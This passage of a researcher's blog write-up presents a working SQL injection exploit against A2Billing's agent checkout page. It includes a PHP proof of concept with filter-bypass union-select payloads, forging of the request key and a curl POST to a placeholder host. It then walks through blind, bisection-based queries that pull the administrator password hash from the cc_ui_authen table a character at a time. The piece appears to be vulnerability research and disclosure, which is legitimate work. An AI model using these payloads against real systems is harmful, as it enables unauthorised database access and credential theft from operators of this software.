$input = str_ireplace('UPDATE', '', $input);
$input = str_ireplace(' or 1', '', $input);
$input = str_ireplace(' or true', '', $input);
//Permutation - in mailing admin/Public/A2B_entity_mailtemplate.php
// we use url with key=$loginkey$
$input = str_ireplace('=$', '+$', $input);
$input = str_ireplace('=', '', $input);
$input = str_ireplace('+$', '=$', $input);
if (get_magic_quotes_gpc()) {
$input = stripslashes($input);
}
$input = sanitize_tag($input);
$output = addslashes($input);
}
return $output;
}
$valid_query=sanitize_data(sanitize_data($x));
$req="transactionID=456789111111 unise//**lecton selinse//**rtect 1,2,3,4,0x706c75676e706179,6,7,8,$x,10,11,12,13-//**- -&sess_id=4148";
$key=securitykey("asdf1212fasd121554sd4f5s45sdf","$y^456789111111 union select 1,2,3,4,0x706c75676e706179,6,7,8,$valid_query,10,11,12,13-- -^3^2");
$full_req="$req&key=$key";
echo "<pre>Using request -> $full_req<br>";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL,"https://HOST/a2billing/agent/Public/checkout_process.php");
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS,"$full_req");
curl_setopt($ch,CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_VERBOSE, 1);
curl_setopt($ch, CURLOPT_HEADER, 1);
$outp = curl_exec ($ch);
curl_close($ch);
echo $outp;
?>Code language: PHP (php)The previous POC show Full steps to take advantage of the redirection line,
for instance , getting 1st password char
Testing digit 1 -> No redirection in the response -> False
Testing digit 8 -> redirection -> True
Using python
13 seconds for 1 char , considering that a2b using 128 chars length hash consist of “0123456789abcdefff” mean we will need average 128*13 = around 27 mins
Multi threading this will help little bit
Fasting up the injection speed
Using modified version of bin2pos benchmarked method will save us a lot of Time
Wont proceed with long introduction as am already tired , But you cak look up the used functions @ mysql manual
so here is brief
Using the follwing query
substring(bin(field((substring((select pwd_encoded from cc_ui_authen),1,1)),0,1,2,3,4,5,6,7)),1,1)Code language: plaintext (plaintext)Will return 1 if the 1st char of the password is in “01234567” , and will return zero if not The 1 or zero for sure will be provided in the key input as demonstrated before our char isn’t within the previous list , so the return will be zero , that mean it’s for sure in the following charrset “89abcdef” Splitting this to 2 sets “89ab”,”cdef” Let’s test for the 1st set
substring(bin(field((substring((select pwd_encoded from cc_ui_authen),1,1)),8,9,0x41,0x42)),1,1)Code language: plaintext (plaintext)result will 1 , splitting this to 2 sets as well we get “89”,”ab” testing for the 1st set
substring(bin(field((substring((select pwd_encoded from cc_ui_authen),1,1)),8,9)),1,1)Code language: plaintext (plaintext)Still true , mean we are on the right direction now we just test if it’s in “8”
substring(bin(field((substring((select pwd_encoded from cc_ui_authen),1,1)),8)),1,1)Code language: plaintext (plaintext)and another true result , so that’s our char
Using this method we can obtain any char just in 4 requests , mean that our requests number were reduced to just 512 requests to obtain 128 chars!!!!!!!!
That’s all for now , but not the end of the story yet , stay turned for part 2 (the more interesting part 😉)
Glad I finished this actually , I do not think I will revise it even for once
so if there are any mistakes just let me know abt it
Hope you enjoyed this writeup guys , and regarding python pocs or whatever , just drop me an email Till next time, Ahmed